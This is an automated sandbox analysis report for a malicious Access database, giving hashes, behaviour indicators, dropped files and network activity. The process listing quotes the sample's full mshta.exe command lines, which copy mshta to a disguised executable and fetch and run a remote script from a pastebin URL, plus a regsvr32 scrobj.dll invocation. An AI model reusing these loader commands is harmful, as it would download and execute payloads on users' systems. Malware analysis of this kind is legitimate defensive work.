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File name:

Leaked_Records_15072019_Col.malware

Full analysis: https://app.any.run/tasks/62b0a7f2-e9f6-4199-bb6d-3bf5470a7210
Verdict: Malicious activity
Analysis date: July 17, 2019, 14:52:02
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-msaccess
File info: Microsoft Access Database
MD5:

BEFC603B7E59E0B739AE150FFC0CAD3A

SHA1:

4BF499C320E6806E877E68876A3BEB2ADA2A45AC

SHA256:

7C02D2F27147C49030C0619D1D313CFA24234F789E149B2E3D1478400496A32C

SSDEEP:

1536:DAQxNqc6lh3WHzVdGduAixBQdpdzdmdudJ:DAQxNqc6lsfkuAixAjJEcJ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • mshta.exe (PID: 3408)
      • cutil.exe (PID: 2224)

    • Unusual execution from Microsoft Office

      • MSACCESS.EXE (PID: 3736)

    • Changes the autorun value in the registry

      • cutil.exe (PID: 2224)

  • SUSPICIOUS

    • Creates files in the user directory

      • MSACCESS.EXE (PID: 3736)
      • cutil.exe (PID: 2224)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • MSACCESS.EXE (PID: 3736)

    • Executable content was dropped or overwritten

      • mshta.exe (PID: 3408)
      • cutil.exe (PID: 2224)

    • Starts itself from another location

      • mshta.exe (PID: 3408)

    • Starts Microsoft Office Application

      • rundll32.exe (PID: 3540)

    • Reads internet explorer settings

      • cutil.exe (PID: 2224)

  • INFO

    • Reads internet explorer settings

      • mshta.exe (PID: 3408)

    • Reads Microsoft Office registry keys

      • MSACCESS.EXE (PID: 3736)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.accdb | Microsoft Access 2007 Database (90.4)
.pi2 | DEGAS med-res bitmap (9.5)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
38
Monitored processes
5
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start rundll32.exe no specs msaccess.exe mshta.exe cutil.exe regsvr32.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3540"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\AppData\Local\Temp\Leaked_Records_15072019_Col.malware.accdbC:\Windows\system32\rundll32.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3736"C:\Program Files\Microsoft Office\Office14\MSACCESS.EXE" /NOSTARTUP "C:\Users\admin\AppData\Local\Temp\Leaked_Records_15072019_Col.malware.accdb" C:\Program Files\Microsoft Office\Office14\MSACCESS.EXE
rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Access
Version:
14.0.6024.1000
3408"C:\Windows\System32\mshta.exe" javascript:eval(new%20ActiveXObject("Scripting.FileSystemObject").CopyFile%20("c:\\windows\\system32\\mshta.exe",%20new%20ActiveXObject("Wscript.Shell").ExpandEnvironmentStrings("%25userprofile%25")+"\\AppData\\Local\\Microsoft\\cutil.exe"));eval(new%20ActiveXObject("Wscript.Shell").Run(new%20ActiveXObject("Wscript.Shell").ExpandEnvironmentStrings("%25userprofile%25")+"\\AppData\\Local\\Microsoft\\cutil%20javascript:eval(a=GetObject('script:https://pastebin.com/raw/viwSRB6M'));close();"));close();C:\Windows\System32\mshta.exe
MSACCESS.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
2224"C:\Users\admin\AppData\Local\Microsoft\cutil.exe" javascript:eval(a=GetObject('script:https://pastebin.com/raw/viwSRB6M'));close();C:\Users\admin\AppData\Local\Microsoft\cutil.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3080"C:\Windows\System32\regsvr32.exe" /u /n /s /i:C:\Users\admin\AppData\Local\logs.tmp scrobj.dllC:\Windows\System32\regsvr32.exe—cutil.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft(C) Register Server
Exit code:
5
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 606
Read events
1 463
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
0
Text files
3
Unknown types
2

Dropped files

PID
Process
Filename
Type
3736MSACCESS.EXEC:\Users\admin\AppData\Local\Temp\CVRF7DD.tmp.cvr —
MD5:—
SHA256:—
3736MSACCESS.EXEC:\Users\admin\AppData\Roaming\Microsoft\Access\System.mdwmdw
MD5:FD1944E71E7C179D8CE8A92E40E68796
SHA256:960E3318E2CE56D9AA6A6A9AC41250A4B67A0A6DE361D7569FF2F2A00FC5CEFE
3408mshta.exeC:\Users\admin\AppData\Local\Microsoft\cutil.exeexecutable
MD5:E2FE656A79D8F4C4FD70201E7423BDA0
SHA256:DB40B518DEB81B146CC81B0C360AECC84204E3CDC108B1F5F158EE60C1792806
2224cutil.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\viwSRB6M[1].txtxml
MD5:3739532BDF9B523E245EEEDD062AB5FF
SHA256:544C113236191E588D7679CB9168C5D45A8D4736B5D08217BE1C66DED4F468F3
2224cutil.exeC:\Users\admin\AppData\Local\temp.tmpexecutable
MD5:91456160503D1965136BBE939606878E
SHA256:350CDEC0802FB24B9AA93CF44C318DCC12BBAF2D85B0E43D0142C54690A18138
2224cutil.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@pastebin[1].txttext
MD5:936B62A5A161618FA0DE04F10E56E152
SHA256:F307C109EB0D41B2209C3C982B38279F2E772660D9F6F207D46C623CF0BA9693
2224cutil.exeC:\Users\admin\AppData\Local\logs.tmptext
MD5:626C22DE97EEC542521DC24103DAA418
SHA256:85287E7301D3983BBE6A95B4FA6F6451DB816E33F9366E27E561711B505F14C7
3736MSACCESS.EXEC:\Users\admin\AppData\Local\Temp\Database.lnklnk
MD5:31AEFA424BD036B40F8B9B64C1C9F78F
SHA256:67106A3278F63805F941D515BE4A40EA1DB3F0D926A4C9A8C71376F10E5EED26
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2224
cutil.exe
104.20.208.21:443
pastebin.com
Cloudflare Inc
US
shared

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.208.21
  • 104.20.209.21
shared

Threats

No threats detected
Process
Message
MSACCESS.EXE
C:\Users\admin\AppData\Roaming\Microsoft\Access\System.mdw
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Leaked_Records_15072019_Col.malware